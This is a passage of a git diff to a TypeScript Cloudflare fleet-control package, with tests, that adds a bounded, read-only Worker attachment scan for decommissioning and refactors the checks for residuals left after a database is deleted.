decommissionPurpose: DecommissionAttachmentPurpose; declare const decommissionEvidence: DecommissionAttachmentScanEvidence; +declare const decommissionScanInput: DecommissionAttachmentScanInput; declare const decommissionAttachment: DecommissionBlockedAttachment; declare const decommissionCommon: DecommissionIntentCommon; declare const decommissionIdentity: DecommissionOperationIdentity; @@ -296,6 +319,40 @@ const directBackendOptions: CloudflareApiPlainWorkerBackendOptions = { }; const directBackend: ProvisioningBackend = new CloudflareApiPlainWorkerBackend(directBackendOptions); +const decommissionScanResults: readonly DecommissionAttachmentScanResult[] = [ + { + status: 'pending', + progress: decommissionProgress, + providerFetchAttemptsReserved: 9, + }, + { + status: 'attached', + attachment: decommissionAttachment, + providerFetchAttemptsReserved: 9, + }, + { + status: 'complete', + evidenceSha256: decommissionEvidence.evidenceSha256, + evidenceCount: decommissionEvidence.evidenceCount, + providerFetchAttemptsReserved: 9, + }, + { status: 'drift' }, +]; +const directDecommissionScan = + directClient.advanceDecommissionAttachmentScan(decommissionScanInput); +const routeDecommissionScan = + plainWorkerRouteApi.advanceDecommissionAttachmentScan?.( + decommissionScanInput, + ); +const backendDecommissionScan = + provisioningBackend.advanceDecommissionAttachmentScan?.( + decommissionScanInput, + ); +const wfpDecommissionScan = api.advanceDecommissionAttachmentScan?.( + decommissionScanInput, +); +const databaseResidualAssertion = + provisioningBackend.assertDatabaseDeletionResidualsRemoved; type PlainWorkerPortRecords = readonly [ PlainWorkerCleanupOutcome, PlainWorkerDatabaseExportResult, @@ -359,6 +416,8 @@ void [ decommissionProgress, decommissionPurpose, decommissionEvidence, + decommissionScanInput, + decommissionScanResults, decommissionAttachment, decommissionCommon, decommissionIdentity, @@ -367,6 +426,11 @@ void [ decommissionPhase, decommissionIntentIsOptional, storedDecommissionIntent, + directDecommissionScan, + routeDecommissionScan, + backendDecommissionScan, + wfpDecommissionScan, + databaseResidualAssertion, ]; const customDomain: PlainWorkerCustomDomain = { id: 'domain-id', @@ -485,6 +549,11 @@ assert.ok(new ActiveRouteAttestationError('probe', {}) instanceof Error); assert.equal(typeof attestConvergedActiveRoute, 'function'); assert.equal(typeof attestFleetRecordActiveRoute, 'function'); assert.equal(typeof fleetSettlementKey, 'function'); +assert.equal( + typeof CloudflareProvisioningClient.prototype + .advanceDecommissionAttachmentScan, + 'function', +); assert.throws( () => new CloudflareProvisioningClient({ diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts index 96b0e3a4..a170dad2 100644 --- a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts @@ -26,6 +26,9 @@ export class CloudflareApiPlainWorkerProvisioningApi readonly #client: CloudflareProvisioningClient; readonly maxMutationDurationMs: number; readonly supportsExactDatabaseDeletion = true; + readonly advanceDecommissionAttachmentScan: NonNullable< + PlainWorkerProvisioningApi['advanceDecommissionAttachmentScan'] + >; readonly listWorkerR2Attachments: NonNullable< PlainWorkerProvisioningApi['listWorkerR2Attachments'] >; @@ -43,6 +46,8 @@ export class CloudflareApiPlainWorkerProvisioningApi constructor(options: { readonly client: CloudflareProvisioningClient }) { this.#client = options.client; this.maxMutationDurationMs = options.client.requestTimeoutMs; + this.advanceDecommissionAttachmentScan = + options.client.advanceDecommissionAttachmentScan.bind(options.client); this.listWorkerR2Attachments = options.client.listWorkerR2Attachments.bind( options.client, ); diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index a4586e18..1664bb53 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -46,6 +46,7 @@ import { import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; import { advanceWorkerAttachmentScan, + CloudflareAttachmentScanDriftError, type CloudflareWorkerAttachmentScanContext, listAllDispatchScripts, listAllWorkerAttachments, @@ -73,6 +74,8 @@ import { deploymentSpecDigest } from './spec-digest.js'; import type { DatabaseExport, DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, ExternalMutationFence, @@ -396,6 +399,70 @@ export function advanceCloudflareWorkerAttachmentScan( return scanProviderAttachments(client, input); } +/** @internal Package-private conversion for the bounded lifecycle provider. */ +export function mapDecommissionAttachmentScanChunk( + chunk: WorkerAttachmentScanChunk, +): DecommissionAttachmentScanResult { + switch (chunk.status) { + case 'pending': + if (chunk.attachments.length !== 0) { + throw new Error( + 'bounded attachment scan returned unexpected accumulated attachments', + ); + } + return { + status: 'pending', + progress: chunk.progress, + providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved, + }; + case 'attached': + if (chunk.attachment.plane === 'ordinary') { + return { + status: 'attached', + attachment: { + plane: 'ordinary', + scriptName: chunk.attachment.scriptName, + }, + providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved, + }; + } + if ( + chunk.attachment.plane !== 'dispatch' || + !chunk.attachment.dispatchNamespace + ) { + throw new Error( + 'bounded attachment scan returned malformed dispatch attachment', + ); + } + return { + status: 'attached', + attachment: { + plane: 'dispatch', + scriptName: chunk.attachment.scriptName, + dispatchNamespace: chunk.attachment.dispatchNamespace, + }, + providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved, + }; + case 'complete': + if (chunk.attachments.length !== 0) { + throw new Error( + 'bounded attachment scan returned unexpected accumulated attachments', + ); + } + return { + status: 'complete', + evidenceSha256: chunk.evidenceSha256, + evidenceCount: chunk.evidenceCount, + providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved, + }; + default: { + const unknownChunk: never = chunk; + void unknownChunk; + throw new Error('bounded attachment scan returned unknown result'); + } + } +} + export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly #accountId: string; readonly #apiToken: string; @@ -749,6 +816,26 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } + async advanceDecommissionAttachmentScan( + input: DecommissionAttachmentScanInput, + ): Promise { + try { + const chunk = await scanProviderAttachments(this, { + target: input.progress.target, + progress: input.progress, + maxProviderRequests: input.maxProviderRequests, + signal: input.signal, + stopOnFirstAttachment: true, + }); + return mapDecommissionAttachmentScanChunk(chunk); + } catch (error) { + if (error instanceof CloudflareAttachmentScanDriftError) { + return { status: 'drift' }; + } + throw error; + } + } + async listWorkerDatabaseAttachments(databaseId: string): Promise< readonly Readonly<{ scriptName: string; diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 74620d42..86da811f 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -121,6 +121,8 @@ export { type DecommissionAttachmentProgress, type DecommissionAttachmentPurpose, type DecommissionAttachmentScanEvidence, + type DecommissionAttachmentScanInput, + type DecommissionAttachmentScanResult, type DecommissionAuditEvent, type DecommissionAuditSink, type DecommissionBlockedAttachment, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index cb82b436..7e62010a 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -240,6 +240,9 @@ export function resolveMaintenanceRequestTimeoutMs( */ export class PlainWorkerBackend implements ProvisioningBackend { readonly kind = 'plain-worker' as const; + declare readonly advanceDecommissionAttachmentScan?: NonNullable< + ProvisioningBackend['advanceDecommissionAttachmentScan'] + >; readonly #api: PlainWorkerProvisioningApi; readonly #identityCaller: string; readonly #fetch: typeof fetch; @@ -263,6 +266,12 @@ export class PlainWorkerBackend implements ProvisioningBackend { this.#fetch = options.fetch ?? fetch; this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; this.#clock = options.clock ?? Date.now; + const advanceDecommissionAttachmentScan = + options.api.advanceDecommissionAttachmentScan; + if (typeof advanceDecommissionAttachmentScan === 'function') { + this.advanceDecommissionAttachmentScan = + advanceDecommissionAttachmentScan.bind(options.api); + } } #assertMutationDuration(fence: ExternalMutationFence): void { @@ -911,7 +920,7 @@ export class PlainWorkerBackend implements ProvisioningBackend { return status.versions[0]?.id; } - async assertDatabaseDetached( + async #assertDatabaseResidualIdentity( spec: DeploymentSpec, record: FleetRecord, database: DatabaseReference, @@ -933,19 +942,13 @@ export class PlainWorkerBackend implements ProvisioningBackend { `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`, ); } - const databaseAttachments = await this.#api.listWorkerDatabaseAttachments( - database.id, - ); - if (databaseAttachments.length > 0) { - throw new Error( - `database '${record.databaseId}' remains attached to ${databaseAttachments - .map( - (attachment) => - `${attachment.plane} Worker '${attachment.scriptName}'`, - ) - .join(', ')}`, - ); - } + } + + async #assertDatabaseResidualTail( + spec: DeploymentSpec, + record: FleetRecord, + fence: ExternalMutationFence, + ): Promise { const [status, versions, domains, footprint, namespaceIds] = await Promise.all([ this.#deploymentStatus(spec), @@ -1036,6 +1039,39 @@ export class PlainWorkerBackend implements ProvisioningBackend { ); } + async assertDatabaseDeletionResidualsRemoved( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + await this.#assertDatabaseResidualIdentity(spec, record, database, fence); + await this.#assertDatabaseResidualTail(spec, record, fence); + } + + async assertDatabaseDetached( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + await this.#assertDatabaseResidualIdentity(spec, record, database, fence); + const databaseAttachments = await this.#api.listWorkerDatabaseAttachments( + database.id, + ); + if (databaseAttachments.length > 0) { + throw new Error( + `database '${record.databaseId}' remains attached to ${databaseAttachments + .map( + (attachment) => + `${attachment.plane} Worker '${attachment.scriptName}'`, + ) + .join(', ')}`, + ); + } + await this.#assertDatabaseResidualTail(spec, record, fence); + } + async #customDomain( hostname: string, ): Promise { diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 5ef5ade1..75379495 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -539,6 +539,41 @@ export interface DecommissionAdvanceToken { export type DecommissionAdvanceTokenClassification = 'current' | 'stale'; +/** Call-local request for one read-only bounded provider scan chunk. */ +export interface DecommissionAttachmentScanInput { + readonly progress: DecommissionAttachmentProgress; + /** Reserved provider-attempt ceiling; an integer from 9 through 1,000. */ + readonly maxProviderRequests: number; + /** Call-local cancellation; never persisted in a shell or Queue token. */ + readonly signal?: AbortSignal; +} + +/** Read-only provider facts; never durable absence or deletion authority. */ +export type DecommissionAttachmentScanResult = + | Readonly<{ + /** More read-only provider work remains. */ + status: 'pending'; + progress: DecommissionAttachmentProgress; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + /** The first safe Worker attachment found by this chunk. */ + status: 'attached'; + attachment: DecommissionBlockedAttachment; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + /** This pass completed; evidence is not durable deletion authority. */ + status: 'complete'; + evidenceSha256: string; + evidenceCount: number; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + /** Provider inventory changed; the caller must start a new generation. */ + status: 'drift'; + }>; + export interface FleetRecord { readonly tenantTag: string; readonly backend: ProvisioningBackendKind; @@ -1010,6 +1045,17 @@ export interface PlainWorkerRouteApi { dispatchNamespace?: string; }>[] >; + /** + * Advances one bounded, read-only attachment scan chunk. + * + * The implementation must use the same Cloudflare account and credential + * authority as this port's teardown mutations, including when a route API is + * paired with a Wrangler runner. It never performs an unbounded fallback and + * returns no durable absence or deletion authority. + */ + advanceDecommissionAttachmentScan?( + input: DecommissionAttachmentScanInput, + ): Promise; getR2Bucket?( bucketName: string, jurisdiction: R2Jurisdiction, @@ -1435,6 +1481,16 @@ export interface ProvisioningBackend { migrations: readonly D1Migration[], fence: ExternalMutationFence, ): Promise; + /** + * Advances one bounded, read-only attachment scan chunk. + * + * It must use the same provider authority as this backend's teardown + * mutations, never perform an unbounded fallback, and returns no durable + * absence or deletion authority. + */ + advanceDecommissionAttachmentScan?( + input: DecommissionAttachmentScanInput, + ): Promise; findApplicationR2Bucket?( resource: ApplicationR2Binding, ): Promise; @@ -1568,6 +1624,20 @@ export interface ProvisioningBackend { database: DatabaseReference, fence: ExternalMutationFence, ): Promise; + /** + * Checks deployment-owned D1 deletion residuals without enumerating the + * account-wide Worker attachment inventory. + * + * This retains deployment identity, route, release, inventory, control + * Worker, Durable Object, and initial/final lease checks. It is read-only and + * is not durable absence or deletion authority. + */ + assertDatabaseDeletionResidualsRemoved?( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise; exportDatabase( database: DatabaseReference, fence: ExternalMutationFence, diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index cdf6d467..74be56d4 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -46,6 +46,8 @@ import type { D1Migration, DatabaseExport, DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentEgressPolicy, DeploymentSecrets, DeploymentSpec, @@ -129,6 +131,16 @@ export interface WorkersForPlatformsApi { dispatchNamespace?: string; }>[] >; + /** + * Advances one bounded, read-only attachment scan chunk. + * + * The implementation must use the same Cloudflare account and credential + * authority as this port's teardown mutations. It never performs an + * unbounded fallback and returns no durable absence or deletion authority. + */ + advanceDecommissionAttachmentScan?( + input: DecommissionAttachmentScanInput, + ): Promise; getR2Bucket?( bucketName: string, jurisdiction: import('./types.js').R2Jurisdiction, @@ -343,6 +355,9 @@ export function deriveStateEgressCredential( export class WorkersForPlatformsBackend implements ProvisioningBackend { readonly kind = 'workers-for-platforms' as const; readonly immutableExternalArtifacts = true as const; + declare readonly advanceDecommissionAttachmentScan?: NonNullable< + ProvisioningBackend['advanceDecommissionAttachmentScan'] + >; readonly #client: WorkersForPlatformsApi; readonly #fetch: typeof fetch; readonly #hostRoutingKvId: string; @@ -408,6 +423,13 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { ); } this.#namespacedState = options.namespacedState; + const advanceAttachmentScan = + options.client.advanceDecommissionAttachmentScan; + if (typeof advanceAttachmentScan === 'function') { + this.advanceDecommissionAttachmentScan = advanceAttachmentScan.bind( + options.client, + ); + } } #stateEgressCredential(spec: DeploymentSpec): string { @@ -2117,7 +2139,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { }); } - async assertDatabaseDetached( + async #assertDatabaseResidualIdentity( spec: DeploymentSpec, record: FleetRecord, database: DatabaseReference, @@ -2135,6 +2157,9 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { 'refusing to attest database detachment for a different deployment', ); } + } + + async #assertHostRouteRemoved(record: FleetRecord): Promise { if ( (await this.#client.getHostRouting( this.#hostRoutingKvId, @@ -2145,15 +2170,13 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { `host route '${record.routeHostname}' remains before D1 deletion`, ); } - const databaseAttachments = - await this.#client.listWorkerDatabaseAttachments(database.id); - if (databaseAttachments.length > 0) { - throw new Error( - `database '${database.id}' remains bound to Worker scripts before D1 deletion: ${databaseAttachments - .map((attachment) => `${attachment.plane}:${attachment.scriptName}`) - .join(', ')}`, - ); - } + } + + async #assertDatabaseResidualTail( + spec: DeploymentSpec, + record: FleetRecord, + fence: ExternalMutationFence, + ): Promise { const fallbackRelease: ExternalReleaseSnapshot = { physicalScriptName: this.releaseScriptName(spec), specDigest: deploymentSpecDigest(spec), @@ -2220,6 +2243,37 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { await fence.assertOwned(); } + async assertDatabaseDeletionResidualsRemoved( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + await this.#assertDatabaseResidualIdentity(spec, record, database, fence); + await this.#assertHostRouteRemoved(record); + await this.#assertDatabaseResidualTail(spec, record, fence); + } + + async assertDatabaseDetached( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + await this.#assertDatabaseResidualIdentity(spec, record, database, fence); + await this.#assertHostRouteRemoved(record); + const databaseAttachments = + await this.#client.listWorkerDatabaseAttachments(database.id); + if (databaseAttachments.length > 0) { + throw new Error( + `database '${database.id}' remains bound to Worker scripts before D1 deletion: ${databaseAttachments + .map((attachment) => `${attachment.plane}:${attachment.scriptName}`) + .join(', ')}`, + ); + } + await this.#assertDatabaseResidualTail(spec, record, fence); + } + exportDatabase( database: DatabaseReference, fence: ExternalMutationFence, diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index b557d957..84cd36a9 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -81,6 +81,9 @@ export class WranglerPlainWorkerProvisioningApi | NonNullable | undefined; readonly maxMutationDurationMs: number; + declare readonly advanceDecommissionAttachmentScan?: NonNullable< + PlainWorkerRouteApi['advanceDecommissionAttachmentScan'] + >; readonly listWorkerR2Attachments: | NonNullable | undefined; @@ -114,6 +117,12 @@ export class WranglerPlainWorkerProvisioningApi options.routeApi, ); this.maxMutationDurationMs = options.runner.maxDurationMs; + const advanceDecommissionAttachmentScan = + options.routeApi.advanceDecommissionAttachmentScan; + if (typeof advanceDecommissionAttachmentScan === 'function') { + this.advanceDecommissionAttachmentScan = + advanceDecommissionAttachmentScan.bind(options.routeApi); + } this.listWorkerR2Attachments = options.routeApi.listWorkerR2Attachments?.bind(options.routeApi); this.getR2Bucket = options.routeApi.getR2Bucket?.bind(options.routeApi); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 8d3f1646..ad879ab6 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -1,9 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; +import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; import type { + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, ExternalMutationFence, PlainWorkerUploadIntent, } from '../src/types.js'; @@ -686,6 +690,41 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { expect(fixture.requests).toHaveLength(0); }); + it('forwards bounded decommission scans through the direct public backend', async () => { + const world = emptyScriptWorld(); + const { client } = subject(restProjection(world)); + const input: DecommissionAttachmentScanInput = { + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: 'database-1', + }), + maxProviderRequests: 12, + }; + const result: DecommissionAttachmentScanResult = { status: 'drift' }; + const calls: Array = + []; + Object.defineProperty(client, 'advanceDecommissionAttachmentScan', { + configurable: true, + value(this: unknown, actual: DecommissionAttachmentScanInput) { + calls.push([this, actual]); + return Promise.resolve(result); + }, + }); + + const api = new CloudflareApiPlainWorkerProvisioningApi({ client }); + const backend = new CloudflareApiPlainWorkerBackend({ client }); + await expect(api.advanceDecommissionAttachmentScan(input)).resolves.toBe( + result, + ); + await expect( + backend.advanceDecommissionAttachmentScan?.(input), + ).resolves.toBe(result); + expect(calls).toEqual([ + [client, input], + [client, input], + ]); + }); + it('sanitizes a falsy transport failure without changing cleanup classification', async () => { const { api } = subject(async () => { throw undefined; diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index b17b2963..c6a5ccbb 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -8,9 +8,12 @@ import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { ApplicationR2Binding, DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, FleetRecord, + PlainWorkerProvisioningApi, PlainWorkerUploadIntent, PlainWorkerVersionDetail, } from '../src/types.js'; @@ -202,6 +205,252 @@ describe('WranglerLoopBackend construction', () => { }); describe('PlainWorkerBackend core policy', () => { + it('exposes a truly optional bound decommission attachment scan capability', async () => { + const absentApi = new PlainWorkerProvisioningApiFake(); + const absent = backend(absentApi); + expect(absent.advanceDecommissionAttachmentScan).toBeUndefined(); + expect('advanceDecommissionAttachmentScan' in absent).toBe(false); + expect(Object.hasOwn(absent, 'advanceDecommissionAttachmentScan')).toBe( + false, + ); + + const input: DecommissionAttachmentScanInput = { + progress: { + version: 1, + target: { kind: 'd1', databaseId: database.id }, + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1, + stage: 'ordinary-script-inventory', + scriptIndex: 0, + }, + maxProviderRequests: 12, + }; + const result: DecommissionAttachmentScanResult = { status: 'drift' }; + let receiver: PlainWorkerProvisioningApiFake | undefined; + let received: DecommissionAttachmentScanInput | undefined; + const capableApi = Object.assign(new PlainWorkerProvisioningApiFake(), { + async advanceDecommissionAttachmentScan( + this: PlainWorkerProvisioningApiFake, + candidate: DecommissionAttachmentScanInput, + ): Promise { + receiver = this; + received = candidate; + return result; + }, + }); + const capable = backend(capableApi); + expect(typeof capable.advanceDecommissionAttachmentScan).toBe('function'); + expect('advanceDecommissionAttachmentScan' in capable).toBe(true); + expect(Object.hasOwn(capable, 'advanceDecommissionAttachmentScan')).toBe( + true, + ); + await expect( + capable.advanceDecommissionAttachmentScan?.(input), + ).resolves.toBe(result); + expect(receiver).toBe(capableApi); + expect(received).toBe(input); + }); + + it('splits database attachment listing from every residual proof without changing legacy order', async () => { + type Attachment = Awaited< + ReturnType + >[number]; + type Assertion = + | 'assertDatabaseDeletionResidualsRemoved' + | 'assertDatabaseDetached'; + const tailReads = [ + 'read:deployment', + 'read:versions', + 'read:domains', + 'read:footprint', + 'read:namespaces', + ] as const; + const tracked = (attachments: readonly Attachment[] = []) => { + const fake = new PlainWorkerProvisioningApiFake(); + const api: PlainWorkerProvisioningApi = fake; + const deploymentStatus = api.deploymentStatus.bind(api); + const listVersions = api.listVersions.bind(api); + const listCustomDomains = api.listCustomDomains.bind(api); + const inspectOrdinaryWorkerFootprint = + api.inspectOrdinaryWorkerFootprint.bind(api); + const listDurableObjectNamespaces = + api.listDurableObjectNamespaces.bind(api); + const viewVersion = api.viewVersion.bind(api); + vi.spyOn(api, 'listWorkerDatabaseAttachments').mockImplementation( + async () => { + fake.events.push('read:attachments'); + return attachments; + }, + ); + vi.spyOn(api, 'deploymentStatus').mockImplementation( + async (scriptName) => { + fake.events.push('read:deployment'); + return deploymentStatus(scriptName); + }, + ); + vi.spyOn(api, 'listVersions').mockImplementation(async (scriptName) => { + fake.events.push('read:versions'); + return listVersions(scriptName); + }); + vi.spyOn(api, 'listCustomDomains').mockImplementation(async () => { + fake.events.push('read:domains'); + return listCustomDomains(); + }); + vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockImplementation( + async (scriptName) => { + fake.events.push('read:footprint'); + return inspectOrdinaryWorkerFootprint(scriptName); + }, + ); + vi.spyOn(api, 'listDurableObjectNamespaces').mockImplementation( + async (scriptName) => { + fake.events.push('read:namespaces'); + return listDurableObjectNamespaces(scriptName); + }, + ); + vi.spyOn(api, 'viewVersion').mockImplementation( + async (scriptName, versionId) => { + fake.events.push('read:version'); + return viewVersion(scriptName, versionId); + }, + ); + return { api: fake, fence: fake.fence(), subject: backend(fake) }; + }; + const assertDatabase = ( + assertion: Assertion, + subject: PlainWorkerBackend, + fence: ReturnType, + record = fleetRecord(), + ) => subject[assertion](spec, record, database, fence); + const rejectionFrom = async (operation: Promise) => { + try { + await operation; + } catch (error) { + return error; + } + throw new Error('expected database residual assertion to reject'); + }; + + for (const assertion of [ + 'assertDatabaseDeletionResidualsRemoved', + 'assertDatabaseDetached', + ] as const) { + const mismatch = tracked(); + const mismatchRefusal = await rejectionFrom( + assertDatabase(assertion, mismatch.subject, mismatch.fence, { + ...fleetRecord(), + databaseName: 'foreign-database', + }), + ); + expect(mismatchRefusal).toBeInstanceOf(Error); + expect((mismatchRefusal as Error).message).toBe( + `refusing to attest database detachment for mismatched fleet record '${spec.tenantTag}:${spec.environment}'`, + ); + expect(mismatch.api.events).toEqual(['assertOwned']); + + const success = tracked(); + await expect( + assertDatabase(assertion, success.subject, success.fence), + ).resolves.toBeUndefined(); + expect(success.api.events).toEqual([ + 'assertOwned', + ...(assertion === 'assertDatabaseDetached' ? ['read:attachments'] : []), + ...tailReads, + 'assertOwned', + ]); + } + + const attached = tracked([ + { plane: 'ordinary', scriptName: 'foreign-worker' }, + ]); + const attachmentRefusal = await rejectionFrom( + assertDatabase( + 'assertDatabaseDetached', + attached.subject, + attached.fence, + ), + ); + expect(attachmentRefusal).toBeInstanceOf(Error); + expect((attachmentRefusal as Error).message).toBe( + `database '${database.id}' remains attached to ordinary Worker 'foreign-worker'`, + ); + expect(attached.api.events).toEqual(['assertOwned', 'read:attachments']); + + const residuals = [ + { + label: 'deployment', + configure(api: PlainWorkerProvisioningApiFake) { + api.deployments.set(spec.scriptName, { + versions: [{ versionId: 'candidate', percentage: 100 }], + }); + }, + message: `database '${database.id}' has a foreign or mismatched Worker footprint`, + }, + { + label: 'version', + configure(api: PlainWorkerProvisioningApiFake) { + api.versions.set(spec.scriptName, [ownedVersion('candidate')]); + }, + message: `database '${database.id}' remains attached to owned Worker '${spec.scriptName}'`, + }, + { + label: 'route', + configure(api: PlainWorkerProvisioningApiFake) { + api.domains.push({ + id: 'residual-domain', + hostname: spec.routeHostname, + service: 'foreign-worker', + }); + }, + message: `database '${database.id}' has a residual route or Durable Object namespace footprint`, + }, + { + label: 'footprint', + configure(api: PlainWorkerProvisioningApiFake) { + api.footprints.set(spec.scriptName, { + scriptPresent: true, + customDomains: [], + zoneRoutes: [], + }); + }, + message: `database '${database.id}' has an ordinary Worker footprint that the provider cannot attest`, + }, + { + label: 'Durable Object namespace', + configure(api: PlainWorkerProvisioningApiFake) { + api.namespaces.set(spec.scriptName, ['residual-namespace']); + }, + message: `database '${database.id}' has a residual route or Durable Object namespace footprint`, + }, + ] as const; + for (const residual of residuals) { + for (const assertion of [ + 'assertDatabaseDeletionResidualsRemoved', + 'assertDatabaseDetached', + ] as const) { + const scenario = tracked(); + residual.configure(scenario.api); + const refusal = await rejectionFrom( + assertDatabase(assertion, scenario.subject, scenario.fence), + ); + expect(refusal, `${assertion}: ${residual.label}`).toBeInstanceOf( + Error, + ); + expect( + (refusal as Error).message, + `${assertion}: ${residual.label}`, + ).toBe(residual.message); + expect( + scenario.api.events.filter((event) => event === 'assertOwned'), + `${assertion}: ${residual.label}`, + ).toHaveLength(1); + expect( + scenario.api.events.filter((event) => event === 'read:attachments'), + ).toHaveLength(assertion === 'assertDatabaseDetached' ? 1 : 0); + } + } + }); + it.each([ ['empty', ''], ['space', 'contains space'], diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index d8de751f..a518b9a1 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -6,6 +6,7 @@ import { describe, expect, it, vi } from 'vitest'; import { advanceCloudflareWorkerAttachmentScan, CloudflareProvisioningClient, + mapDecommissionAttachmentScanChunk, } from '../src/cloudflare-client.js'; import { CLOUDFLARE_SDK_MAX_ATTEMPTS, @@ -1857,6 +1858,291 @@ describe('Cloudflare Worker attachment scan', () => { ).not.toContain('token'); }); + it('maps the real bounded decommission scan and refuses hostile internal results', async () => { + const emptyFixture = recordingFetch( + worldHandler({ ordinary: [], namespaces: [] }), + ); + const emptyClient = client(emptyFixture.fetch); + const initial = initialWorkerAttachmentScan(D1_TARGET); + const complete = await emptyClient.advanceDecommissionAttachmentScan({ + progress: initial, + maxProviderRequests: 12, + }); + expect(complete).toMatchObject({ + status: 'complete', + providerFetchAttemptsReserved: 6, + }); + expect(Object.keys(complete).sort()).toEqual([ + 'evidenceCount', + 'evidenceSha256', + 'providerFetchAttemptsReserved', + 'status', + ]); + + const ordinaryFixture = recordingFetch( + worldHandler({ + ordinary: [ + { + id: 'ordinary', + versions: [ + { + id: 'v1', + percentage: 100, + bindings: [{ type: 'd1', database_id: 'target-db' }], + }, + ], + }, + ], + namespaces: [], + }), + ); + await expect( + client(ordinaryFixture.fetch).advanceDecommissionAttachmentScan({ + progress: initial, + maxProviderRequests: 12, + }), + ).resolves.toEqual({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'ordinary' }, + providerFetchAttemptsReserved: 9, + }); + expect( + ordinaryFixture.requests.some(({ url }) => + url.includes('/workers/dispatch/namespaces'), + ), + ).toBe(false); + + const dispatchFixture = recordingFetch( + worldHandler({ + ordinary: [], + namespaces: [ + { + name: 'fleet', + pages: [{ scripts: ['dispatch'] }], + bindings: { + dispatch: [{ type: 'r2_bucket', bucket_name: 'target-bucket' }], + }, + }, + ], + }), + ); + const dispatchClient = client(dispatchFixture.fetch); + const dispatchPending = + await dispatchClient.advanceDecommissionAttachmentScan({ + progress: initialWorkerAttachmentScan(R2_TARGET), + maxProviderRequests: 12, + }); + expect(dispatchPending).toEqual({ + status: 'pending', + progress: { + version: 1, + target: R2_TARGET, + stage: 'dispatch-script-settings', + evidenceSha256: + 